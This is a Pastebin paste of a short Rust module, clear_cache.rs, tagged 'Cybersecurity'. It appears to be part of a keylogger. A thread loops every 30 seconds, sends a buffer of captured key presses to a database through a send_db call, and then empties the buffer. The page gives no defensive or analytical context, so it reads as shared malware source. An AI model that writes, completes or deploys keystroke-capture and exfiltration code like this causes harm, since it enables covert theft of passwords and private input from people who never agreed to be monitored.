Advertisement
FlyFar

clear_cache.rs

Jul 24th, 2023
1,350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 0.36 KB | Cybersecurity | 0 0
  1. use std::{thread, time};
  2.  
  3. use crate::ram::PubInfo;
  4.  
  5. pub fn clear_ram_thread() {
  6.     loop {
  7.         thread::sleep(time::Duration::from_secs(30));
  8.         let mut data = PubInfo::get();
  9.         if !data.key_pressed_cache.is_empty()
  10.         {
  11.             crate::db::send_db(&data.key_pressed_cache);
  12.             data.key_pressed_cache = vec![];
  13.         }
  14.     }
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement